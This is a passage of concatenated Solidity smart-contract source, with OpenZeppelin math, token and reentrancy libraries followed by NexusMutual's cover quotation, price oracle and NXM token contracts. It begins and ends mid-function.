* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* _Since v2.5.0:_ this module is now much more gas efficient, given net gas
* metering changes introduced in the Istanbul hardfork.
*/
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/*
Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/
*/
pragma solidity ^0.5.0;
import "./INXMMaster.sol";
contract MasterAware {
INXMMaster public master;
modifier onlyMember {
require(master.isMember(msg.sender), "Caller is not a member");
_;
}
modifier onlyInternal {
require(master.isInternal(msg.sender), "Caller is not an internal contract");
_;
}
modifier onlyMaster {
if (address(master) != address(0)) {
require(address(master) == msg.sender, "Not master");
}
_;
}
modifier onlyGovernance {
require(
master.checkIsAuthToGoverned(msg.sender),
"Caller is not authorized to govern"
);
_;
}
modifier whenPaused {
require(master.isPause(), "System is not paused");
_;
}
modifier whenNotPaused {
require(!master.isPause(), "System is paused");
_;
}
function changeDependentContractAddress() external;
function changeMasterAddress(address masterAddress) public onlyMaster {
master = INXMMaster(masterAddress);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
interface IPool {
function transferAssetToSwapOperator(address asset, uint amount) external;
function getAssetDetails(address _asset) external view returns (
uint112 min,
uint112 max,
uint32 lastAssetSwapTime,
uint maxSlippageRatio
);
function setAssetDataLastSwapTime(address asset, uint32 lastSwapTime) external;
function minPoolEth() external returns (uint);
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "../../abstract/MasterAware.sol";
import "../capital/Pool.sol";
import "../claims/ClaimsReward.sol";
import "../claims/Incidents.sol";
import "../token/TokenController.sol";
import "../token/TokenData.sol";
import "./QuotationData.sol";
contract Quotation is MasterAware, ReentrancyGuard {
using SafeMath for uint;
ClaimsReward public cr;
Pool public pool;
IPooledStaking public pooledStaking;
QuotationData public qd;
TokenController public tc;
TokenData public td;
Incidents public incidents;
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public onlyInternal {
cr = ClaimsReward(master.getLatestAddress("CR"));
pool = Pool(master.getLatestAddress("P1"));
pooledStaking = IPooledStaking(master.getLatestAddress("PS"));
qd = QuotationData(master.getLatestAddress("QD"));
tc = TokenController(master.getLatestAddress("TC"));
td = TokenData(master.getLatestAddress("TD"));
incidents = Incidents(master.getLatestAddress("IC"));
}
// solhint-disable-next-line no-empty-blocks
function sendEther() public payable {}
/**
* @dev Expires a cover after a set period of time and changes the status of the cover
* @dev Reduces the total and contract sum assured
* @param coverId Cover Id.
*/
function expireCover(uint coverId) external {
uint expirationDate = qd.getValidityOfCover(coverId);
require(expirationDate < now, "Quotation: cover is not due to expire");
uint coverStatus = qd.getCoverStatusNo(coverId);
require(coverStatus != uint(QuotationData.CoverStatus.CoverExpired), "Quotation: cover already expired");
(/* claim count */, bool hasOpenClaim, /* accepted */) = tc.coverInfo(coverId);
require(!hasOpenClaim, "Quotation: cover has an open claim");
if (coverStatus != uint(QuotationData.CoverStatus.ClaimAccepted)) {
(,, address contractAddress, bytes4 currency, uint amount,) = qd.getCoverDetailsByCoverID1(coverId);
qd.subFromTotalSumAssured(currency, amount);
qd.subFromTotalSumAssuredSC(contractAddress, currency, amount);
}
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.CoverExpired));
}
function withdrawCoverNote(address coverOwner, uint[] calldata coverIds, uint[] calldata reasonIndexes) external {
uint gracePeriod = tc.claimSubmissionGracePeriod();
for (uint i = 0; i < coverIds.length; i++) {
uint expirationDate = qd.getValidityOfCover(coverIds[i]);
require(expirationDate.add(gracePeriod) < now, "Quotation: cannot withdraw before grace period expiration");
}
tc.withdrawCoverNote(coverOwner, coverIds, reasonIndexes);
}
function getWithdrawableCoverNoteCoverIds(
address coverOwner
) public view returns (
uint[] memory expiredCoverIds,
bytes32[] memory lockReasons
) {
uint[] memory coverIds = qd.getAllCoversOfUser(coverOwner);
uint[] memory expiredIdsQueue = new uint[](coverIds.length);
uint gracePeriod = tc.claimSubmissionGracePeriod();
uint expiredQueueLength = 0;
for (uint i = 0; i < coverIds.length; i++) {
uint coverExpirationDate = qd.getValidityOfCover(coverIds[i]);
uint gracePeriodExpirationDate = coverExpirationDate.add(gracePeriod);
(/* claimCount */, bool hasOpenClaim, /* hasAcceptedClaim */) = tc.coverInfo(coverIds[i]);
if (!hasOpenClaim && gracePeriodExpirationDate < now) {
expiredIdsQueue[expiredQueueLength] = coverIds[i];
expiredQueueLength++;
}
}
expiredCoverIds = new uint[](expiredQueueLength);
lockReasons = new bytes32[](expiredQueueLength);
for (uint i = 0; i < expiredQueueLength; i++) {
expiredCoverIds[i] = expiredIdsQueue[i];
lockReasons[i] = keccak256(abi.encodePacked("CN", coverOwner, expiredIdsQueue[i]));
}
}
function getWithdrawableCoverNotesAmount(address coverOwner) external view returns (uint) {
uint withdrawableAmount;
bytes32[] memory lockReasons;
(/*expiredCoverIds*/, lockReasons) = getWithdrawableCoverNoteCoverIds(coverOwner);
for (uint i = 0; i < lockReasons.length; i++) {
uint coverNoteAmount = tc.tokensLocked(coverOwner, lockReasons[i]);
withdrawableAmount = withdrawableAmount.add(coverNoteAmount);
}
return withdrawableAmount;
}
/**
* @dev Makes Cover funded via NXM tokens.
* @param smartCAdd Smart Contract Address
*/
function makeCoverUsingNXMTokens(
uint[] calldata coverDetails,
uint16 coverPeriod,
bytes4 coverCurr,
address smartCAdd,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyMember whenNotPaused {
tc.burnFrom(msg.sender, coverDetails[2]); // needs allowance
_verifyCoverDetails(msg.sender, smartCAdd, coverCurr, coverDetails, coverPeriod, _v, _r, _s, true);
}
/**
* @dev Verifies cover details signed off chain.
* @param from address of funder.
* @param scAddress Smart Contract Address
*/
function verifyCoverDetails(
address payable from,
address scAddress,
bytes4 coverCurr,
uint[] memory coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s
) public onlyInternal {
_verifyCoverDetails(
from,
scAddress,
coverCurr,
coverDetails,
coverPeriod,
_v,
_r,
_s,
false
);
}
/**
* @dev Verifies signature.
* @param coverDetails details related to cover.
* @param coverPeriod validity of cover.
* @param contractAddress smart contract address.
* @param _v argument from vrs hash.
* @param _r argument from vrs hash.
* @param _s argument from vrs hash.
*/
function verifySignature(
uint[] memory coverDetails,
uint16 coverPeriod,
bytes4 currency,
address contractAddress,
uint8 _v,
bytes32 _r,
bytes32 _s
) public view returns (bool) {
require(contractAddress != address(0));
bytes32 hash = getOrderHash(coverDetails, coverPeriod, currency, contractAddress);
return isValidSignature(hash, _v, _r, _s);
}
/**
* @dev Gets order hash for given cover details.
* @param coverDetails details realted to cover.
* @param coverPeriod validity of cover.
* @param contractAddress smart contract address.
*/
function getOrderHash(
uint[] memory coverDetails,
uint16 coverPeriod,
bytes4 currency,
address contractAddress
) public view returns (bytes32) {
return keccak256(
abi.encodePacked(
coverDetails[0],
currency,
coverPeriod,
contractAddress,
coverDetails[1],
coverDetails[2],
coverDetails[3],
coverDetails[4],
address(this)
)
);
}
/**
* @dev Verifies signature.
* @param hash order hash
* @param v argument from vrs hash.
* @param r argument from vrs hash.
* @param s argument from vrs hash.
*/
function isValidSignature(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public view returns (bool) {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, hash));
address a = ecrecover(prefixedHash, v, r, s);
return (a == qd.getAuthQuoteEngine());
}
/**
* @dev Creates cover of the quotation, changes the status of the quotation ,
* updates the total sum assured and locks the tokens of the cover against a quote.
* @param from Quote member Ethereum address.
*/
function _makeCover(//solhint-disable-line
address payable from,
address contractAddress,
bytes4 coverCurrency,
uint[] memory coverDetails,
uint16 coverPeriod
) internal {
address underlyingToken = incidents.underlyingToken(contractAddress);
if (underlyingToken != address(0)) {
address coverAsset = cr.getCurrencyAssetAddress(coverCurrency);
require(coverAsset == underlyingToken, "Quotation: Unsupported cover asset for this product");
}
uint cid = qd.getCoverLength();
qd.addCover(
coverPeriod,
coverDetails[0],
from,
coverCurrency,
contractAddress,
coverDetails[1],
coverDetails[2]
);
uint coverNoteAmount = coverDetails[2].mul(qd.tokensRetained()).div(100);
if (underlyingToken == address(0)) {
uint gracePeriod = tc.claimSubmissionGracePeriod();
uint claimSubmissionPeriod = uint(coverPeriod).mul(1 days).add(gracePeriod);
bytes32 reason = keccak256(abi.encodePacked("CN", from, cid));
// mint and lock cover note
td.setDepositCNAmount(cid, coverNoteAmount);
tc.mintCoverNote(from, reason, coverNoteAmount, claimSubmissionPeriod);
} else {
// minted directly to member's wallet
tc.mint(from, coverNoteAmount);
}
qd.addInTotalSumAssured(coverCurrency, coverDetails[0]);
qd.addInTotalSumAssuredSC(contractAddress, coverCurrency, coverDetails[0]);
uint coverPremiumInNXM = coverDetails[2];
uint stakersRewardPercentage = td.stakerCommissionPer();
uint rewardValue = coverPremiumInNXM.mul(stakersRewardPercentage).div(100);
pooledStaking.accumulateReward(contractAddress, rewardValue);
}
/**
* @dev Makes a cover.
* @param from address of funder.
* @param scAddress Smart Contract Address
*/
function _verifyCoverDetails(
address payable from,
address scAddress,
bytes4 coverCurr,
uint[] memory coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s,
bool isNXM
) internal {
require(coverDetails[3] > now, "Quotation: Quote has expired");
require(coverPeriod >= 30 && coverPeriod <= 365, "Quotation: Cover period out of bounds");
require(!qd.timestampRepeated(coverDetails[4]), "Quotation: Quote already used");
qd.setTimestampRepeated(coverDetails[4]);
address asset = cr.getCurrencyAssetAddress(coverCurr);
if (coverCurr != "ETH" && !isNXM) {
pool.transferAssetFrom(asset, from, coverDetails[1]);
}
require(verifySignature(coverDetails, coverPeriod, coverCurr, scAddress, _v, _r, _s), "Quotation: signature mismatch");
_makeCover(from, scAddress, coverCurr, coverDetails, coverPeriod);
}
function createCover(
address payable from,
address scAddress,
bytes4 currency,
uint[] calldata coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyInternal {
require(coverDetails[3] > now, "Quotation: Quote has expired");
require(coverPeriod >= 30 && coverPeriod <= 365, "Quotation: Cover period out of bounds");
require(!qd.timestampRepeated(coverDetails[4]), "Quotation: Quote already used");
qd.setTimestampRepeated(coverDetails[4]);
require(verifySignature(coverDetails, coverPeriod, currency, scAddress, _v, _r, _s), "Quotation: signature mismatch");
_makeCover(from, scAddress, currency, coverDetails, coverPeriod);
}
// referenced in master, keeping for now
// solhint-disable-next-line no-empty-blocks
function transferAssetsToNewContract(address) external pure {}
function freeUpHeldCovers() external nonReentrant {
IERC20 dai = IERC20(cr.getCurrencyAssetAddress("DAI"));
uint membershipFee = td.joiningFee();
uint lastCoverId = 106;
for (uint id = 1; id <= lastCoverId; id++) {
if (qd.holdedCoverIDStatus(id) != uint(QuotationData.HCIDStatus.kycPending)) {
continue;
}
(/*id*/, /*sc*/, bytes4 currency, /*period*/) = qd.getHoldedCoverDetailsByID1(id);
(/*id*/, address payable userAddress, uint[] memory coverDetails) = qd.getHoldedCoverDetailsByID2(id);
uint refundedETH = membershipFee;
uint coverPremium = coverDetails[1];
if (qd.refundEligible(userAddress)) {
qd.setRefundEligible(userAddress, false);
}
qd.setHoldedCoverIDStatus(id, uint(QuotationData.HCIDStatus.kycFailedOrRefunded));
if (currency == "ETH") {
refundedETH = refundedETH.add(coverPremium);
} else {
require(dai.transfer(userAddress, coverPremium), "Quotation: DAI refund transfer failed");
}
userAddress.transfer(refundedETH);
}
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
interface Aggregator {
function latestAnswer() external view returns (int);
}
contract PriceFeedOracle {
using SafeMath for uint;
mapping(address => address) public aggregators;
address public daiAddress;
address public stETH;
address constant public ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
constructor (
address _daiAggregator,
address _daiAddress,
address _stEthAddress
) public {
aggregators[_daiAddress] = _daiAggregator;
daiAddress = _daiAddress;
stETH = _stEthAddress;
}
/**
* @dev Returns the amount of ether in wei that are equivalent to 1 unit (10 ** decimals) of asset
* @param asset quoted currency
* @return price in ether
*/
function getAssetToEthRate(address asset) public view returns (uint) {
if (asset == ETH || asset == stETH) {
return 1 ether;
}
address aggregatorAddress = aggregators[asset];
if (aggregatorAddress == address(0)) {
revert("PriceFeedOracle: Oracle asset not found");
}
int rate = Aggregator(aggregatorAddress).latestAnswer();
require(rate > 0, "PriceFeedOracle: Rate must be > 0");
return uint(rate);
}
/**
* @dev Returns the amount of currency that is equivalent to ethIn amount of ether.
* @param asset quoted Supported values: ["DAI", "ETH"]
* @param ethIn amount of ether to be converted to the currency
* @return price in ether
*/
function getAssetForEth(address asset, uint ethIn) external view returns (uint) {
if (asset == daiAddress) {
return ethIn.mul(1e18).div(getAssetToEthRate(daiAddress));
}
if (asset == ETH || asset == stETH) {
return ethIn;
}
revert("PriceFeedOracle: Unknown asset");
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "./external/OZIERC20.sol";
import "./external/OZSafeMath.sol";
contract NXMToken is OZIERC20 {
using OZSafeMath for uint256;
event WhiteListed(address indexed member);
event BlackListed(address indexed member);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
mapping(address => bool) public whiteListed;
mapping(address => uint) public isLockedForMV;
uint256 private _totalSupply;
string public name = "NXM";
string public symbol = "NXM";
uint8 public decimals = 18;
address public operator;
modifier canTransfer(address _to) {
require(whiteListed[_to]);
_;
}
modifier onlyOperator() {
if (operator != address(0))
require(msg.sender == operator);
_;
}
constructor(address _founderAddress, uint _initialSupply) public {
_mint(_founderAddress, _initialSupply);
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Adds a user to whitelist
* @param _member address to add to whitelist
*/
function addToWhiteList(address _member) public onlyOperator returns (bool) {
whiteListed[_member] = true;
emit WhiteListed(_member);
return true;
}
/**
* @dev removes a user from whitelist
* @param _member address to remove from whitelist
*/
function removeFromWhiteList(address _member) public onlyOperator returns (bool) {
whiteListed[_member] = false;
emit BlackListed(_member);
return true;
}
/**
* @dev change operator address
* @param _newOperator address of new operator
*/
function changeOperator(address _newOperator) public onlyOperator returns (bool) {
operator = _newOperator;
return true;
}
/**
* @dev burns an amount of the tokens of the message sender
* account.
* @param amount The amount that will be burnt.
*/
function burn(uint256 amount) public returns (bool) {
_burn(msg.sender, amount);
return true;
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public returns (bool) {
_burnFrom(from, value);
return true;
}
/**
* @dev function that mints an amount of the token and assigns it to
* an account.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function mint(address account, uint256 amount) public onlyOperator {
_mint(account, amount);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public canTransfer(to) returns (bool) {
require(isLockedForMV[msg.sender] < now); // if not voted under governance
require(value <= _balances[msg.sender]);
_transfer(to, value);
return true;
}
/**
* @dev Transfer tokens to the operator from the specified address
* @param from The address to transfer from.
* @param value The amount to be transferred.
*/
function operatorTransfer(address from, uint256 value) public onlyOperator returns (bool) {
require(value <= _balances[from]);
_transferFrom(from, operator, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
canTransfer(to)
returns (bool)
{
require(isLockedForMV[from] < now); // if not voted under governance
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
_transferFrom(from, to, value);
return true;
}
/**
* @dev Lock the user's tokens
* @param _of user's address.
*/
function lockForMemberVote(address _of, uint _days) public onlyOperator {
if (_days.add(now) > isLockedForMV[_of])
isLockedForMV[_of] = _days.add(now);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address to, uint256 value) internal {
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function _transferFrom(
address from,
address to,
uint256 value
)
internal
{
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
